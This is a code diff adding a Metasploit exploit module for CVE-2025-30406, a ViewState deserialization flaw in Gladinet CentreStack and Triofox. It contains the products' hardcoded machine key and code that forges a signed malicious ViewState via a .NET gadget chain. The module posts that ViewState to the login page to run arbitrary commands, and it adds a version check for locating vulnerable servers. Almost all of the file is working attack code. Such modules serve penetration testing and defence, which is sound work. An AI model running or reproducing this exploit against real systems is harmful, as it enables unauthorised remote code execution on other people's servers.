|
| 1 | +# This module requires Metasploit: https://metasploit.com/download |
| 2 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 3 | + |
| 4 | +require 'rex/exploit/view_state' |
| 5 | + |
| 6 | +class MetasploitModule < Msf::Exploit::Remote |
| 7 | + |
| 8 | + Rank = ExcellentRanking |
| 9 | + |
| 10 | + include Msf::Exploit::Remote::HttpClient |
| 11 | + prepend Msf::Exploit::Remote::AutoCheck |
| 12 | + |
| 13 | + # base64 encoded machine key |
| 14 | + MACHINE_KEY = 'NTQ5NjgzMjI0MkNDMzIyOEUyOTJFRUZGQ0RBMDg5MTQ5RDc4OUUwQzREN0MxQTVEMDJCQzU0MkY3QzYyNzlCRTlERDc3MEM5RURENUQ2N0M2NkI3RTYyMTQxMUQzRTU3RUExODFCQkY4OUZEMjE5NTdEQ0RERkFDRkQ5MjZFMTY='.freeze |
| 15 | + |
| 16 | + def initialize(info = {}) |
| 17 | + super( |
| 18 | + update_info( |
| 19 | + info, |
| 20 | + 'Name' => 'Gladinet CentreStack/Triofox ASP.NET ViewState Deserialization', |
| 21 | + 'Description' => %q{ |
| 22 | + A vulnerability in Gladinet CentreStack and Triofox application using hardcoded |
| 23 | + cryptographic keys for ViewState could allow an attacker to forge ViewState data. |
| 24 | + This can lead to unauthorized actions such as remote code execution. |
| 25 | + Both applications make use of a hardcoded machineKey in the IIS web.config file, |
| 26 | + which is responsible for securing ASP.NET ViewState data. If an attacker obtains |
| 27 | + the machineKey, they can forge ViewState payloads that pass integrity checks. |
| 28 | + This can result in ViewState deserialization attacks, potentially leading to |
| 29 | + remote code execution (RCE) on the web server. |
| 30 | +
|
| 31 | + Gladinet CentreStack versions up to 16.4.10315.56368 are vulnerable (fixed in 16.4.10315.56368). |
| 32 | + Gladinet Triofox versions up to 16.4.10317.56372 are vulnerable (fixed in 16.4.10317.56372). |
| 33 | + NOTE: There are other rebranded services that might be vulnerable and can be detected by this module. |
| 34 | + }, |
| 35 | + 'Author' => [ |
| 36 | + 'Huntress Team', # discovery and detailed vulnerability write up |
| 37 | + 'H00die Gr3y' # this metasploit module |
| 38 | + ], |
| 39 | + 'License' => MSF_LICENSE, |
| 40 | + 'References' => [ |
| 41 | + ['CVE', '2025-30406'], |
| 42 | + ['URL', 'https://www.huntress.com/blog/cve-2025-30406-critical-gladinet-centrestack-triofox-vulnerability-exploited-in-the-wild'], |
| 43 | + ['URL', 'https://attackerkb.com/topics/7ebXn71J6O/cve-2025-30406'] |
| 44 | + ], |
| 45 | + 'Platform' => 'win', |
| 46 | + 'Targets' => [ |
| 47 | + [ |
| 48 | + 'Windows Command', |
| 49 | + { |
| 50 | + 'Arch' => ARCH_CMD, |
| 51 | + 'Type' => :windows_command |
| 52 | + } |
| 53 | + ] |
| 54 | + ], |
| 55 | + 'DefaultOptions' => { |
| 56 | + 'RPORT' => 443, |
| 57 | + 'SSL' => true |
| 58 | + }, |
| 59 | + 'DefaultTarget' => 0, |
| 60 | + 'DisclosureDate' => '2025-04-03', |
| 61 | + 'Notes' => { |
| 62 | + 'Stability' => [CRASH_SAFE], |
| 63 | + 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS], |
| 64 | + 'Reliability' => [REPEATABLE_SESSION] |
| 65 | + }, |
| 66 | + 'Privileged' => false |
| 67 | + ) |
| 68 | + ) |
| 69 | + |
| 70 | + register_options([ |
| 71 | + OptString.new('TARGETURI', [ true, 'The base path to the Gladinet CentreStack or Triofox application', '/' ]) |
| 72 | + ]) |
| 73 | + end |
| 74 | + |
| 75 | + def execute_command(cmd, _opts = {}) |
| 76 | + # get the __VIEWSTATEGENERATOR value from the vulnerable page |
| 77 | + res = send_request_cgi({ |
| 78 | + 'method' => 'GET', |
| 79 | + 'uri' => normalize_uri(target_uri.path, 'portal', 'loginpage.aspx') |
| 80 | + }) |
| 81 | + unless res&.code == 200 |
| 82 | + fail_with(Failure::UnexpectedReply, 'Non-200 HTTP response received while trying to get the __VIEWSTATEGENERATOR value.') |
| 83 | + end |
| 84 | + |
| 85 | + html = res.get_html_document |
| 86 | + if html |
| 87 | + # html identifier for the __VIEWSTATEGENERATOR: <input type="hidden" name="__VIEWSTATEGENERATOR" id="__VIEWSTATEGENERATOR" value="3FE2630A" /> |
| 88 | + generator = html.css('input#__VIEWSTATEGENERATOR')[0]['value'] |
| 89 | + viewstate_generator = [generator.to_i(16)].pack('V') unless generator.nil? |
| 90 | + else |
| 91 | + viewstate_generator = ['3FE2630A'.to_i(16)].pack('V') |
| 92 | + end |
| 93 | + |
| 94 | + output_format = 'raw' |
| 95 | + viewstate_validation_algorithm = 'SHA256' |
| 96 | + viewstate_validation_key = [Base64.strict_decode64(MACHINE_KEY)].pack('H*') |
| 97 | + |
| 98 | + serialized = ::Msf::Util::DotNetDeserialization.generate( |
| 99 | + cmd, |
| 100 | + gadget_chain: :TextFormattingRunProperties, |
| 101 | + formatter: :LosFormatter |
| 102 | + ) |
| 103 | + |
| 104 | + serialized = Rex::Exploit::ViewState.generate_viewstate( |
| 105 | + serialized, |
| 106 | + extra: viewstate_generator, |
| 107 | + algo: viewstate_validation_algorithm, |
| 108 | + key: viewstate_validation_key |
| 109 | + ) |
| 110 | + transformed = ::Msf::Simple::Buffer.transform(serialized, output_format) |
| 111 | + vprint_status(transformed.to_s) |
| 112 | + |
| 113 | + res = send_request_cgi({ |
| 114 | + 'method' => 'POST', |
| 115 | + 'uri' => normalize_uri(target_uri.path, 'portal', 'loginpage.aspx'), |
| 116 | + 'vars_post' => { |
| 117 | + '__LASTFOCUS' => '', |
| 118 | + '__VIEWSTATE' => transformed.to_s |
| 119 | + } |
| 120 | + }) |
| 121 | + unless res&.code == 302 |
| 122 | + fail_with(Failure::UnexpectedReply, 'Non-302 HTTP response received while trying to execute the payload.') |
| 123 | + end |
| 124 | + end |
| 125 | + |
| 126 | + def check |
| 127 | + res = send_request_cgi({ |
| 128 | + 'method' => 'GET', |
| 129 | + 'uri' => normalize_uri(target_uri.path, 'portal', 'loginpage.aspx') |
| 130 | + }) |
| 131 | + return CheckCode::Safe('Failed to identify that Gladinet CentreStack/Triofox or similar service is running.') unless res&.code == 200 && res.body.include?('id="__VIEWSTATEGENERATOR" value="3FE2630A"') |
| 132 | + |
| 133 | + if res.body.include?('CentreStack') |
| 134 | + check_app = 'CentreStack' |
| 135 | + elsif res.body.include?('Triofox') |
| 136 | + check_app = 'Triofox' |
| 137 | + else |
| 138 | + check_app = 'Unknown' |
| 139 | + end |
| 140 | + |
| 141 | + build = res.body.match(/\(Build\s*.*\)/) |
| 142 | + unless build.nil? |
| 143 | + version = build[0].gsub(/[[:space:]]/, '').split('Build')[1].chomp(')') |
| 144 | + rex_version = Rex::Version.new(version) |
| 145 | + if check_app == 'CentreStack' |
| 146 | + return CheckCode::Appears("Service #{check_app} (Build #{version})") if rex_version < Rex::Version.new('16.4.10315.56368') |
| 147 | + elsif check_app == 'Triofox' |
| 148 | + return CheckCode::Appears("Service #{check_app} (Build #{version})") if rex_version < Rex::Version.new('16.4.10317.56372') |
| 149 | + elsif check_app == 'Unknown' |
| 150 | + return CheckCode::Detected("Service #{check_app} (Build #{version})") if rex_version < Rex::Version.new('16.4.10317.56372') |
| 151 | + end |
| 152 | + return CheckCode::Safe("Service #{check_app} (Build #{version})") |
| 153 | + end |
| 154 | + |
| 155 | + CheckCode::Detected("Service #{check_app} (Build not detected)") |
| 156 | + end |
| 157 | + |
| 158 | + def exploit |
| 159 | + print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") |
| 160 | + execute_command(payload.encoded) |
| 161 | + end |
| 162 | +end |
0 commit comments